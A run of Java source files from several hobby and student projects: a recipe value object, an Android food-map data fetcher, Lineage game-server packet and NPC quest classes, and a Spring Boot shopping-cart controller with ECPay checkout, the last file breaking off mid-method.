result = prime * result + ((unitAmount == null) ? 0 : unitAmount.intValue());
result = prime * result + ((unitID == null) ? 0 : unitID.hashCode());
return result;
}
@Override
public boolean equals(Object obj) {
if (this == obj)
return true;
if (obj == null)
return false;
if (getClass() != obj.getClass())
return false;
RecipeIngredientUnitVO other = (RecipeIngredientUnitVO) obj;
if (ingredientID == null) {
if (other.ingredientID != null)
return false;
} else if (!ingredientID.equals(other.ingredientID))
return false;
if (recipeID == null) {
if (other.recipeID != null)
return false;
} else if (!recipeID.equals(other.recipeID))
return false;
if (unitID == null) {
if (other.unitID != null)
return false;
} else if (!unitID.equals(other.unitID))
return false;
if (unitAmount == null) {
if (other.unitAmount != null)
return false;
// } else if (!unitAmount.equals(other.unitAmount))
} else if (unitAmount.compareTo(other.unitAmount) != 0) // 對於BigDecimal的大小比較,用equals方法的話會不僅會比較值的大小,還會比較兩個物件的精確度,
return false; // 而compareTo方法則不會比較精確度,只比較數值的大小。
return true; // https://codertw.com/%E7%A8%8B%E5%BC%8F%E8%AA%9E%E8%A8%80/314278/
}
public Integer getRecipeIngredientUnitID() {
return recipeIngredientUnitID;
}
public void setRecipeIngredientUnitID(Integer recipeIngredientUnitID) {
this.recipeIngredientUnitID = recipeIngredientUnitID;
}
public Integer getRecipeID() {
return recipeID;
}
public void setRecipeID(Integer recipeID) {
this.recipeID = recipeID;
}
public Integer getIngredientID() {
return ingredientID;
}
public void setIngredientID(Integer ingredientID) {
this.ingredientID = ingredientID;
}
public Integer getUnitID() {
return unitID;
}
public void setUnitID(Integer unitID) {
this.unitID = unitID;
}
public BigDecimal getUnitAmount() {
return unitAmount;
}
public void setUnitAmount(BigDecimal unitAmount) {
this.unitAmount = unitAmount;
}
}
| qoosdd89382/JustEatMaven | src/main/java/com/recipeingredientunit/model/RecipeIngredientUnitVO.java |
65,436 | package com.example.kinmenfoodmap;
import static com.example.kinmenfoodmap.HomeFragment.listAdapter;
import static com.example.kinmenfoodmap.MainActivity.MapName;
import static com.example.kinmenfoodmap.MainActivity.list;
import static com.example.kinmenfoodmap.MainActivity.userlist;
import android.app.ProgressDialog;
import android.os.Handler;
import com.google.android.gms.maps.model.LatLng;
import com.parse.FindCallback;
import com.parse.GetCallback;
import com.parse.ParseException;
import com.parse.ParseGeoPoint;
import com.parse.ParseObject;
import com.parse.ParseQuery;
import java.net.URL;
import java.util.ArrayList;
import java.util.List;
class fetchData extends Thread{
Handler handler = new Handler();
ProgressDialog progressDialog;
int shop_amount = 10;
String data = "";
@Override
public void run() {
System.out.println("現在跑到這裡沒問題");
URL url;
try {
System.out.println("第一個要看到");
ParseQuery<ParseObject> query = new ParseQuery<>("Shop");//這邊抓很久,要考慮如果抓不到的時候要讓他重新抓一次
query.findInBackground(new FindCallback<ParseObject>() {
public void done(List<ParseObject> objects, ParseException e) {
System.out.println("等這裡吧");
if (e == null) {
System.out.println("object是什"+objects);
String str="";
str+=objects.toString();
System.out.println("看這裡"+str);
if (userlist.size() > shop_amount)
userlist.clear();
for (int k = 0; k < shop_amount; k++) {
ParseObject parseObject = objects.get(k); // 所以這邊被拖到
parseObject.fetchIfNeededInBackground(new GetCallback<ParseObject>() {
public void done(ParseObject result, ParseException e) {
System.out.println("這邊跑比較久");
if (e == null) {
String shopName = result.getString("shopName");
String address = result.getString("address");
LatLng storelocation = new LatLng(parseObject.getParseGeoPoint("latitude_longitude").getLatitude(),parseObject.getParseGeoPoint("latitude_longitude").getLongitude());
// String pos = result.getString("latitude_longitude");
// String menu = result.getString("ShopPicture");
//System.out.println("感覺在這裡過不了"+menu);
// System.out.println("pos抓的到?:" + storelocation);
System.out.println("get shop:" + shopName);
list.add(storelocation);
MapName.add(shopName);
// userlist.add(new HomeListMapping("https://i.imgur.com/bLuqfnQ.jpg",shopName,address));
userlist.add(new HomeListMapping(shopName,address));
}
// Do something with result
}
});
}
System.out.println("以下為店家列表");
// System.out.println(userlist);
} else {
//objectRetrievalFailed();
System.out.println("GGGGGGG");
}
}
});
}catch( Exception e){
System.out.println(e);
}
}
}
//看看list[lat/lng: (25.033611,121.565), lat/lng: (25.047924,121.517081), lat/lng: (25.042902,121.51503), lat/lng: (21.946567,120.798713), lat/lng: (23.851676,120.902008)] | KimLinTW/FoodMap | app1/app/src/main/java/com/example/kinmenfoodmap/fetchData.java |
65,437 | package com.lineage.server.serverpackets;
import com.lineage.server.model.Instance.L1PcInstance;
/**
* スキルアイコンや遮断リストの表示など複数の用途に使われるパケットのクラス
*/
public class S_PacketBox extends ServerBasePacket {
private byte[] _byte = null;
/**
* writeByte(id) writeShort(?): <font color=#00800>(639) %s的攻城戰開始。 </font><BR>
* 1:Kent 2:Orc 3:WW 4:Giran 5:Heine 6:Dwarf 7:Aden 8:Diad 9:城名9 ...
*/
// public static final int MSG_WAR_BEGIN = 0;
/**
* writeByte(id) writeShort(?): <font color=#00800>(640) %s的攻城戰結束。 </font>
*/
// public static final int MSG_WAR_END = 1;
/**
* writeByte(id) writeShort(?): <font color=#00800>(641) %s的攻城戰正在進行中。 </font>
*/
// public static final int MSG_WAR_GOING = 2;
/**
* <font color=#00800>(642) 已掌握了城堡的主導權。 </font>
*/
// public static final int MSG_WAR_INITIATIVE = 3;
/**
* <font color=#00800>(643) 已佔領城堡。</font>
*/
// public static final int MSG_WAR_OCCUPY = 4;
/**
* <font color=#00800>(646) 結束決鬥。 </font>
*/
public static final int MSG_DUEL = 5;
/**
* writeByte(count): <font color=#00800>(648) 您沒有發送出任何簡訊。 </font>
*/
public static final int MSG_SMS_SENT = 6;
/**
* <font color=#00800>(790) 倆人的結婚在所有人的祝福下完成 </font>
*/
public static final int MSG_MARRIED = 9;
/**
* writeByte(weight): <font color=#00800>重量(30段階) </font>
*/
public static final int WEIGHT = 10;
/**
* writeByte(food): <font color=#00800>満腹度(30段階) </font>
*/
public static final int FOOD = 11;
/**
* <font color=#00800>UB情報HTML </font>
*/
public static final int HTML_UB = 14;
/**
* writeByte(id)<br>
* <font color=#00800> 1: (978) 感覺到在身上有的精靈力量被空氣中融化。<br>
* 2: (679) 忽然全身充滿了%s的靈力。 680 火<br>
* 3: (679) 忽然全身充滿了%s的靈力。 681 水<br>
* 4: (679) 忽然全身充滿了%s的靈力。 682 風<br>
* 5: (679) 忽然全身充滿了%s的靈力。 683 地<br>
* </font>
*/
public static final int MSG_ELF = 15;
/**
* writeByte(count) S(name)...: <font color=#00800>開啟拒絕名單 :</font>
*/
public static final int ADD_EXCLUDE2 = 17;// 17
/**
* writeString(name): <font color=#00800>增加到拒絕名單</font>
*/
public static final int ADD_EXCLUDE = 18;// 18
/**
* writeString(name): <font color=#00800>移除出拒絕名單</font>
*/
public static final int REM_EXCLUDE = 19;// 19
/** 技能圖示 */
public static final int ICONS1 = 20;// 0x14
/** 技能圖示 */
public static final int ICONS2 = 21;// 0x15
/** 技能圖示 */
public static final int ICON_AURA = 22;// 0x16
/**
* writeString(name): <font color=#00800>(764) 新村長由%s選出</font>
*/
public static final int MSG_TOWN_LEADER = 23;
/**
* writeByte(id): <font color=#00800>聯盟職位變更</font><br>
* id - 1:見習 2:一般 3:守護騎士
*/
public static final int MSG_RANK_CHANGED = 27;
/**
* <font color=#00800>血盟線上人數(HTML)</font>
*/
public static final int MSG_CLANUSER = 29;
/**
* writeInt(?) writeString(name) writeString(clanname):<br>
* <font color=#00800>(782) %s 血盟的 %s打敗了反王<br>
* (783) %s 血盟成為新主人。 </font>
*/
// public static final int MSG_WIN_LASTAVARD = 30;
/**
* <font color=#00800>(77) \f1你覺得舒服多了。</font>
*/
public static final int MSG_FEEL_GOOD = 31;
/** 不明。 客戶端會傳回一個封包 */
// INFO - Not Set OP ID: 40
// 0000: 28 58 02 00 00 fe b2 d4 c6 00 00 00 00 00 00 00 (X..............
public static final int SOMETHING1 = 33;
/**
* writeShort(time): <font color=#00800>藍水圖示</font>
*/
public static final int ICON_BLUEPOTION = 34;// 34
/**
* writeShort(time): <font color=#00800>變身圖示</font>
*/
public static final int ICON_POLYMORPH = 35;// 35
/**
* writeShort(time): <font color=#00800>禁言圖示 </font>
*/
public static final int ICON_CHATBAN = 36;// 36
/** 不明。C_7パケットが飛ぶ。C_7はペットのメニューを開いたときにも飛ぶ。 */
public static final int SOMETHING2 = 37;
/**
* <font color=#00800>血盟成員清單(HTML)</font>
*/
public static final int HTML_CLAN1 = 38;
/** writeShort(time): 聖結界圖示 */
public static final int ICON_I2H = 40;
/**
* <font color=#00800>更新角色使用的快速鍵</font>
*/
public static final int CHARACTER_CONFIG = 41;// 41
/**
* <font color=#00800>角色選擇視窗</font> > 0000 : 39 2a e1 88 08 12 48 fa 9*....H.
*/
public static final int LOGOUT = 42;// 42
/**
* <font color=#00800>(130) \f1戰鬥中,無法重新開始。</font>
*/
public static final int MSG_CANT_LOGOUT = 43;
/**
* <font color=#00800>風之枷鎖</font>
*/
// public static final int WIND_SHACKLE = 44;
/**
* writeByte(count) writeInt(time) writeString(name) writeString(info):<br>
* [CALL] ボタンのついたウィンドウが表示される。これはBOTなどの不正者チェックに
* 使われる機能らしい。名前をダブルクリックするとC_RequestWhoが飛び、クライアントの
* フォルダにbot_list.txtが生成される。名前を選択して+キーを押すと新しいウィンドウが開く。
*/
// public static final int CALL_SOMETHING = 45;
/**
* <font color=#00800>writeByte(id): 大圓形競技場,混沌的大戰<br>
* id - 1:開始(1045) 2:取消(1047) 3:結束(1046)</font>
*/
public static final int MSG_COLOSSEUM = 49;
/**
* <font color=#00800>血盟情報(HTML)</font>
*/
public static final int HTML_CLAN2 = 51;
/**
* <font color=#00800>料理選單</font>
*/
// public static final int COOK_WINDOW = 52;
/** writeByte(type) writeShort(time): 料理アイコンが表示される */
// public static final int ICON_COOKING = 53;
/** 魚上鉤的圖形表示 */
public static final int FISHING = 55;
/** 魔法娃娃圖示 */
public static final int DOLL = 56;
/** 慎重藥水 */
public static final int WISDOM_POTION = 57;
/** 同盟目錄 */
public static final int CLAN = 62;
/** 比賽視窗(倒數開始) */
// public static final int GAMESTART = 64;
/** 開始正向計時 */
// public static final int TIMESTART = 65;
/** 顯示資訊 */
// public static final int GAMEINFO = 66;
/** 比賽視窗(倒數結束/停止計時) */
// public static final int GAMEOVER = 69;
/** 移除比賽視窗 */
// public static final int GAMECLEAR = 70;
/** 開始反向計時 */
// public static final int STARTTIME = 71;
/** 移除開始反向計時視窗 */
// public static final int STARTTIMECLEAR = 72;
/** 手臂受傷攻擊力下降(350秒) */
public static final int DMG = 74;
/** 對方開始顯示弱點(16秒) */
public static final int TGDMG = 75;
/** 攻城戰結束訊息 */
// public static final int MSG_WAR_OVER = 79;
/** 1,550:受到殷海薩的祝福,增加了些許的狩獵經驗值。 */
// public static final int LEAVES = 82;
/** 經驗值加成(殷海薩的祝福) */
public static final int EXPBLESS = 82;
/** 不明 綠色葉子 */
// public static final int LEAVES200 = 87;
/** 顯示龍座標選單 */
public static final int DRAGON = 101;
/** 3.8血盟倉庫使用紀錄 */
public static final int HTML_CLAN_WARHOUSE_RECORD = 117;
/** 資安 */
public static final int ICON_OS = 125;// 22;//0x16
/** VIP */
public static final int ICON_VIP = 127;// VIP
/** DOTO 3.53 副本實裝↓ */
public static final int MAP_TIMER = 153;
public static final int DISPLAY_MAP_TIME = 159;
/** DOTO 3.53 副本實裝↑ */
/** 3.8 血盟查詢盟友 (顯示公告) */
public static final int HTML_PLEDGE_ANNOUNCE = 167;
/** 3.8 血盟查詢盟友 (寫入公告) */
public static final int HTML_PLEDGE_REALEASE_ANNOUNCE = 168;
/** 3.8 血盟查詢盟友 (寫入備註) */
public static final int HTML_PLEDGE_WRITE_NOTES = 169;
/** 3.8 血盟查詢盟友 (顯示盟友) */
public static final int HTML_PLEDGE_MEMBERS = 170;
/** 3.8 血盟查詢盟友 (顯示上線盟友) */
public static final int HTML_PLEDGE_ONLINE_MEMBERS = 171;
/** 3.8 血盟 識別盟徽狀態 */
public static final int PLEDGE_EMBLEM_STATUS = 173;
/** 3.8 村莊便利傳送 */
public static final int TOWN_TELEPORT = 176;
// 102 龍之棲息地 林德拜爾
// 125 OS的資安水準是最新狀態.因此身體和心理上感覺變強
// 127 (已使用) 獲得體力上限+50、魔力上限+30、體力恢復+1 、魔力恢復+1的效果
// 146 解除師徒
// 153 新版計時器
// 147 師徒icon
// 165 獎勵 +20%
/**
* 殷海薩的祝福
*
* @param subCode
* @param msg
* @param value
*/
public S_PacketBox(final int subCode, final String msg, final int value) {
this.writeC(S_OPCODE_PACKETBOX);
// TODO 修正->殷海薩的祝福
this.writeC(subCode);
// this.writeC(1);
this.writeS(msg);
// this.writeS(msg);
// writeC(0x52);//82
this.writeC(value);
}
public S_PacketBox(final int subCode) {
this.writeC(S_OPCODE_PACKETBOX);
this.writeC(subCode);
switch (subCode) {
// case MSG_WAR_INITIATIVE:
// case MSG_WAR_OCCUPY:
case MSG_MARRIED:
case MSG_FEEL_GOOD:
case MSG_CANT_LOGOUT:
case LOGOUT:
case FISHING:
break;
/*
* case CALL_SOMETHING: this.callSomething();
*/
default:
break;
}
}
/**
* TEST
*/
public S_PacketBox(final int type, final byte time) {
// final int type = 181;
// final int time = 20;
// final boolean second = false;
this.writeC(S_OPCODE_PACKETBOX);
this.writeC(type);
this.writeC(time); // time >> 2
}
public S_PacketBox(final int subCode, final int value) {
this.writeC(S_OPCODE_PACKETBOX);
this.writeC(subCode);
switch (subCode) {
case DMG:
case TGDMG:
final int time = value >> 2;
this.writeC(time); // time >> 2
break;
case ICON_BLUEPOTION:
case ICON_CHATBAN:
case ICON_I2H:
case ICON_POLYMORPH:
case MAP_TIMER: // TODO 3.53C 計時器(副本)
case ICON_OS:
this.writeH(value); // time
break;
/*
* case MSG_WAR_BEGIN: case MSG_WAR_END: case MSG_WAR_GOING: this.writeC(value);
* // castle id this.writeH(0); // ? break;
*/
case WISDOM_POTION:
this.writeC(0x2c);
this.writeH(value); // time
break;
case MSG_SMS_SENT:
case WEIGHT:
case FOOD:
this.writeC(value);
break;
case MSG_ELF:
case MSG_RANK_CHANGED:
case MSG_COLOSSEUM:
this.writeC(value); // msg id
break;
/*
* case MSG_LEVEL_OVER: writeC(0); // ? writeC(value); // 0-49以外は表示されない break;
*/
/*
* case COOK_WINDOW: this.writeC(0xdb); // ? this.writeC(0x31);
* this.writeC(0xdf); this.writeC(0x02); this.writeC(0x01); this.writeC(value);
* // level break;
*/
case DOLL:
this.writeH(value);
break;
case PLEDGE_EMBLEM_STATUS:
this.writeC(1);
this.writeC(value);
this.writeD(0);
break;
default:
// this.writeH(value); // time
break;
}
}
public S_PacketBox(final int subCode, final int type, final int time) {
this.writeC(S_OPCODE_PACKETBOX);
this.writeC(subCode);
switch (subCode) {
/*
* case ICON_COOKING: if (type != 7) { this.writeC(0x0c); this.writeC(0x0c);
* this.writeC(0x0c); this.writeC(0x12); this.writeC(0x0c); this.writeC(0x09);
* this.writeC(0x00); this.writeC(0x00); this.writeC(type); this.writeC(0x24);
* this.writeH(time); this.writeH(0x00);
*
* } else { this.writeC(0x0c); this.writeC(0x0c); this.writeC(0x0c);
* this.writeC(0x12); this.writeC(0x0c); this.writeC(0x09); this.writeC(0xc8);
* this.writeC(0x00); this.writeC(type); this.writeC(0x26); this.writeH(time);
* this.writeC(0x3e); this.writeC(0x87); } break;
*/
case MSG_DUEL:
this.writeD(type); // 相手のオブジェクトID
this.writeD(time); // 自分のオブジェクトID
break;
default:
break;
}
}
public S_PacketBox(final int subCode, final String name) {
this.writeC(S_OPCODE_PACKETBOX);
this.writeC(subCode);
switch (subCode) {
case ADD_EXCLUDE:
case REM_EXCLUDE:
case MSG_TOWN_LEADER:
this.writeS(name);
break;
case HTML_PLEDGE_REALEASE_ANNOUNCE:
writeS(name);
break;
default:
break;
}
}
public S_PacketBox(final int subCode, final Object[] names) {
this.writeC(S_OPCODE_PACKETBOX);
this.writeC(subCode);
switch (subCode) {
case ADD_EXCLUDE2:
this.writeC(names.length);
for (final Object name : names) {
this.writeS(name.toString());
}
break;
//血盟查詢
case HTML_PLEDGE_ONLINE_MEMBERS:
writeH(names.length);
for (Object name : names) {
L1PcInstance pc = (L1PcInstance) name;
writeS(pc.getName());
writeC(0); // 3.80 新增
}
break;
default:
break;
}
}
/** DOTO 3.53 副本實裝↓ */
public S_PacketBox(final int subCode, final int time1, final int time2, final int time3, final int time4) {
this.writeC(S_OPCODE_PACKETBOX);
this.writeC(subCode);
switch (subCode) {
case DISPLAY_MAP_TIME:
this.writeD(4);
this.writeD(1);
this.writeS("$12125"); // 奇岩地監
this.writeD(time1);
this.writeD(2);
this.writeS("$6081"); // 象牙塔地監
this.writeD(time2);
this.writeD(3);
this.writeS("$12126"); // 拉斯塔巴德地監
this.writeD(time3);
this.writeD(6);
this.writeS(""); //時空裂痕
this.writeD(time4);
break;
default:
break;
}
}
/** DOTO 3.53 副本實裝↑ */
@Override
public byte[] getContent() {
if (this._byte == null) {
this._byte = this.getBytes();
}
return this._byte;
}
@Override
public String getType() {
return this.getClass().getSimpleName();
}
}
| tonetone520/yiwei_free | src/com/lineage/server/serverpackets/S_PacketBox.java |
65,438 | package com.group5.springboot.controller.cart;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Date;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import com.group5.springboot.model.cart.CartItem;
import com.group5.springboot.model.product.ProductInfo;
import com.group5.springboot.model.user.User_Info;
import com.group5.springboot.service.cart.CartItemService;
import com.group5.springboot.service.cart.OrderService;
import com.group5.springboot.service.product.ProductServiceImpl;
import com.group5.springboot.service.user.UserService;
import com.group5.springboot.utils.api.ecpay.payment.integration.AllInOne;
import com.group5.springboot.utils.api.ecpay.payment.integration.domain.AioCheckOutALL;
@RestController
public class CartController {
@Autowired // SDI ✔
private ProductServiceImpl productService;
@Autowired // SDI ✔
private UserService userService;
@Autowired // SDI ✔
private CartItemService cartItemService;
@Autowired // SDI ✔
private OrderService orderService;
/***************************************************************************** */
@PostMapping(value="/cart.controller/clientShowCart")
public List<Map<String, Object>> clientShowCart(@RequestParam String u_id) {
List<Map<String, Object>> cart = cartItemService.getCart(u_id);
cart.forEach(System.out::println);
return cart;
}
/***************************************************************************** */
@PostMapping(value = "/cart.controller/clientRemoveProductFromCart", produces = "application/json; charset=UTF-8") @Deprecated
public List<Map<String, Object>> clientRemoveProductFromCart(@RequestParam Integer[] p_ids, @RequestParam String u_id) {
Arrays.asList(p_ids).forEach(p_id -> cartItemService.deleteASingleProduct(u_id, p_id));
return cartItemService.getCart(u_id);
}
/***************************************************************************** */
@PostMapping(value = "/cart.controller/clientRemoveProductFromCartByCartId", produces = "application/json; charset=UTF-8")
public List<Map<String, Object>> clientRemoveProductFromCartByCartId(@RequestParam Integer[] cart_ids, @RequestParam String u_id) {
Arrays.asList(cart_ids).forEach(cartItemService::deleteASingleProduct);
return cartItemService.getCart(u_id);
}
/***************************************************************************** */
@PostMapping(value = "/cart.controller/clientAddProductToCart")
public Boolean clientAddProductToCart(
@RequestParam Integer p_ID
, @RequestParam String u_ID
, @RequestParam String toDo
) {
Boolean canBuy = (orderService.selectIfBoughtOrNot(p_ID, u_ID) && cartItemService.selectByProductId(p_ID, u_ID));
if ("query".equals(toDo)) {
return canBuy;
} else if ("buy".equals(toDo) && canBuy) {
return (cartItemService.insert(p_ID, u_ID) != null);
} else if ("remove".equals(toDo)) {
return cartItemService.deleteASingleProduct(u_ID, p_ID);
}
return false;
}
/***************************************************************************** */
@PostMapping(value = "/cart.controller/clientInitializeProductBtnFunc")
public Integer clientInitializeProductBtnFunc(
@RequestParam Integer p_ID
, @RequestParam String u_ID
) {
Boolean alreadyBought = !(orderService.selectIfBoughtOrNot(p_ID, u_ID));
Boolean alreadyInCart = !(cartItemService.selectByProductId(p_ID, u_ID));
if (alreadyBought) {
return 1;
} else if (alreadyInCart) {
return 2;
} else if (!alreadyBought && !alreadyInCart) {
return 3;
}
return 0;
}
/***************************************************************************** */
@GetMapping(value = "/cart.controller/adminSelectTop100", produces = "application/json; charset=UTF-8")
public Map<String, Object> adminCartSelectTop100(){
return cartItemService.selectTop100();
}
/***************************************************************************** */
@PostMapping(value = "/cart.controller/adminSelectProduct")
public ProductInfo adminCartSelectProduct(@RequestParam("p_id") String p_id) {
return productService.findByProductID(Integer.parseInt(p_id));
}
/***************************************************************************** */
@PostMapping(value = "/cart.controller/adminSelectUser")
public User_Info adminCartSelectUser(@RequestParam("u_id") String u_id) {
return userService.getSingleUser(u_id);
}
/***************************************************************************** */
@PostMapping(value = "/cart.controller/adminSearchBar")
public Map<String, Object> adminCartSearchBar(@RequestParam(name = "searchBy") String condition, @RequestParam(name = "searchBar") String value) {
try {
if ("u_id".equals(condition)) {
// (1) 準確查詢
return cartItemService.selectBy(condition, value);
} else if ("p_name".equals(condition) || "u_firstname".equals(condition) || "u_lastname".equals(condition)) {
// (2) 模糊查詢
return cartItemService.selectLikeOperator(condition, value);
} else if ("cart_date".equals(condition)) {
// (3) 日期範圍查詢
// 隨時可換
String regex = ",";
String[] dates = value.split(regex);
String startDateString = dates[0].split("T")[0] + " " + dates[0].split("T")[1];
String endDateString = dates[1].split("T")[0] + " " + dates[1].split("T")[1];
// ❗ ❓ 這邊寫得頗爛,感覺要用更通用的方法拆(轉)格式
return cartItemService.selectWithTimeRange(startDateString, endDateString);
} else if ("cart_id".equals(condition) || "p_id".equals(condition) || "p_price".equals(condition)) {
// (4) 數值範圍查詢
// 隨時可換
String regex = ",";
String[] numberStrings = value.split(regex);
Integer minValue = 0;
Integer maxValue = 0;
minValue = Integer.parseInt(numberStrings[0]);
maxValue = Integer.parseInt(numberStrings[1]);
System.out.println("min = " + minValue + " ;max = " + maxValue);
return cartItemService.selectWithNumberRange(condition, minValue, maxValue);
}
} catch (Exception e) {
e.printStackTrace();
}
HashMap<String, Object> map = new HashMap<String, Object>();
map.put("errorMessage", "查詢出錯");
map.put("list", new ArrayList<CartItem>());
return map;
}
/***************************************************************************** */
@PostMapping(value = "/cart.controller/insertAdmin")
public Map<String, Object> adminCartInsert(@RequestBody CartItem cartItem) {
Map<String, Object> map = cartItemService.insert(cartItem.getP_id(), cartItem.getU_id());
String msg = (map.get("errorMessage") == null)? "新增成功!" : "新增失敗 :^)";
map.put("state", msg);
return map;
}
/***************************************************************************** */
@PostMapping(value = "/cart.controller/deleteAdmin")
public Map<String, String> adminCartDelete(@RequestParam Integer[] cart_ids) {
cartItemService.delete(cart_ids);
HashMap<String, String> map = new HashMap<>();
map.put("state", "資料刪除完成。");
return map;
}
/***************************************************************************** */
@PostMapping("/cart.controller/checkout")
public String payViaEcpay(
@RequestParam("u_id") String u_id,
@RequestParam("p_ids") Integer[] p_ids
) {
List<ProductInfo> cart = new ArrayList<ProductInfo>();
for(Integer p_id : p_ids) {
ProductInfo product = productService.findByProductID(p_id);
cart.add(product);
}
User_Info uBean = userService.getSingleUser(u_id);
AioCheckOutALL aioObj = genEcpayOrder(cart, uBean, cart);
System.out.println(aioObj);
// 參數 1 = 充滿EcpayOrder參數的aioObj,參數 2 = 是否要發票(invoice)
String htmlForm = new AllInOne("").aioCheckOut(aioObj, null);
return htmlForm;
}
@PostMapping("/cart.controller/getEcpayResultAttr")
public Map<String, String> getEcpayResultAttr() {
@SuppressWarnings("unchecked")
Map<String, String> map = (Map<String, String>) CartViewController.cartInfoMap.get("ecpayResultAttr");
CartViewController.cartInfoMap.remove("ecpayResultAttr");
return map;
}
private AioCheckOutALL genEcpayOrder(List<ProductInfo> cart, User_Info uBean, List<ProductInfo> tempCart) {
// 【產生 MerchantTradeNo String(20)】 = studiehub + date(yyMMdd) + oid五位
// ❗ 交易失敗的時候這會變得不能用第二次
Integer latestOid = orderService.getCurrentIdSeed() + 10000 + (int)Math.ceil(Math.random()*60000);
String thisMoment = new SimpleDateFormat("yyMMdd").format(new Date());
String myMerchantTradeNo = String.format("studiehub%s%05d", thisMoment, latestOid);
// 【產生 MerchantTradeDate String(20)】
String myMerchantTradeDate = new SimpleDateFormat("yyyy/MM/dd HH:mm:ss").format(new Date());
// 【產生 TotalAmount Int】
Integer myTotalAmountInt = 0;
for(ProductInfo product : cart) {
myTotalAmountInt += product.getP_Price();
}
String myTotalAmount = String.valueOf(myTotalAmountInt);
// 【產生 TradeDesc String(200)】
String myTradeDesc = "Thank you for joining StudieHub!"; // ❗有更有意義的內容嗎?
// 【產生 ItemName String(400)】
StringBuilder myItemNameBuilder = new StringBuilder("");
cart.forEach(product -> myItemNameBuilder.append("#").append(product.getP_Name()));
String myItemName = myItemNameBuilder.replace(0, 1, "").toString();
// 【產生 ReturnURL String(200)】
// String ngrokhttps = "";
String ngrokhttp = "http://d47fc3ee9932.ngrok.io"; // 演示時需要重開ngrok輸入ngrok http 8080取得
String myReturnURL = new StringBuilder(ngrokhttp).append("/studiehub").append("/cart.controller/receiveEcpayReturnInfo").toString();
String myClientBackURL = "http://localhost:8080/studiehub/cart.controller/clientResultPage";
AioCheckOutALL aioObj = new AioCheckOutALL();
aioObj.setMerchantTradeNo(myMerchantTradeNo);
aioObj.setMerchantTradeDate(myMerchantTradeDate);
aioObj.setTotalAmount(myTotalAmount);
aioObj.setTradeDesc(myTradeDesc);
aioObj.setItemName(myItemName);
aioObj.setReturnURL(myReturnURL);
aioObj.setNeedExtraPaidInfo("N"); // ❗ 實際上應該要有選擇性
aioObj.setCustomField1(uBean.getU_id()); // u_id
aioObj.setCustomField2(uBean.getU_lastname() + uBean.getU_firstname()); // user's full name
CartViewController.cartInfoMap.put(uBean.getU_id(), tempCart);
// aioObj.setCustomField3("ガンキマリ");
// aioObj.setCustomField4("僕を応援しろよ僕を");
aioObj.setClientBackURL(myClientBackURL);
return aioObj;
}
} | pizzc8645/Project | src/main/java/com/group5/springboot/controller/cart/CartController.java |
65,439 | package com.lineage.data.npc.quest;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
import com.lineage.data.QuestClass;
import com.lineage.data.cmd.CreateNewItem;
import com.lineage.data.executor.NpcExecutor;
import com.lineage.data.quest.DragonKnightLv15_1;
import com.lineage.data.quest.DragonKnightLv30_1;
import com.lineage.data.quest.DragonKnightLv45_1;
import com.lineage.data.quest.DragonKnightLv50_1;
import com.lineage.server.model.Instance.L1ItemInstance;
import com.lineage.server.model.Instance.L1NpcInstance;
import com.lineage.server.model.Instance.L1PcInstance;
import com.lineage.server.serverpackets.S_CloseList;
import com.lineage.server.serverpackets.S_NPCTalkReturn;
import com.lineage.server.serverpackets.S_ServerMessage;
/**
* 長老 普洛凱爾<BR>
* 85023<BR>
* @author dexc
*
*/
public class Npc_Prokel extends NpcExecutor {
private static final Log _log = LogFactory.getLog(Npc_Prokel.class);
private Npc_Prokel() {
// TODO Auto-generated constructor stub
}
public static NpcExecutor get() {
return new Npc_Prokel();
}
@Override
public int type() {
return 3;
}
@Override
public void talk(final L1PcInstance pc, final L1NpcInstance npc) {
try {
if (pc.isCrown()) {// 王族
// 呵呵... 怎麼會跑到這麼遠來了呢?
pc.sendPackets(new S_NPCTalkReturn(npc.getId(), "prokel1"));
} else if (pc.isKnight()) {// 騎士
// 呵呵... 怎麼會跑到這麼遠來了呢?
pc.sendPackets(new S_NPCTalkReturn(npc.getId(), "prokel1"));
} else if (pc.isElf()) {// 精靈
// 呵呵... 怎麼會跑到這麼遠來了呢?
pc.sendPackets(new S_NPCTalkReturn(npc.getId(), "prokel1"));
} else if (pc.isWizard()) {// 法師
// 呵呵... 怎麼會跑到這麼遠來了呢?
pc.sendPackets(new S_NPCTalkReturn(npc.getId(), "prokel1"));
} else if (pc.isDarkelf()) {// 黑暗精靈
// 呵呵... 怎麼會跑到這麼遠來了呢?
pc.sendPackets(new S_NPCTalkReturn(npc.getId(), "prokel1"));
} else if (pc.isDragonKnight()) {// 龍騎士
// LV50任務已經完成
if (pc.getQuest().isEnd(DragonKnightLv50_1.QUEST.get_id())) {
// 你來啦?有你這樣的勇士,我就放心多了。
pc.sendPackets(new S_NPCTalkReturn(npc.getId(), "prokel32"));
return;
}
// LV45任務已經完成
if (pc.getQuest().isEnd(DragonKnightLv45_1.QUEST.get_id())) {
// 等級達成要求(LV50)
if (pc.getLevel() >= DragonKnightLv50_1.QUEST.get_questlevel()) {
// 任務進度
switch (pc.getQuest().get_step(DragonKnightLv50_1.QUEST.get_id())) {
case 0:// 任務尚未開始
// 歡迎啊~勇士!
pc.sendPackets(new S_NPCTalkReturn(npc.getId(), "prokel21"));
break;
case 1:
// 交出時空裂痕碎片100個。
pc.sendPackets(new S_NPCTalkReturn(npc.getId(), "prokel24"));
break;
case 2:
if (pc.getInventory().checkItem(49202)) { // 已經具有物品(時空裂痕邪念碎片)
// <font fg=ffffaf>時空裂痕邪念碎片</font>將會開啟往 <font fg=ffff0>異界</font>次元之門的。
pc.sendPackets(new S_NPCTalkReturn(npc.getId(), "prokel33"));
} else {
// 在<font fg=ffff0>異界 奎斯特</font>調查得如何啊?有找到<font fg=ffafff>靈魂之火</font>嗎?
pc.sendPackets(new S_NPCTalkReturn(npc.getId(), "prokel27"));
}
break;
case 3:
if (pc.getInventory().checkItem(49202)) { // 已經具有物品(時空裂痕邪念碎片)
// <font fg=ffffaf>時空裂痕邪念碎片</font>將會開啟往 <font fg=ffff0>異界</font>次元之門的。
pc.sendPackets(new S_NPCTalkReturn(npc.getId(), "prokel33"));
} else {
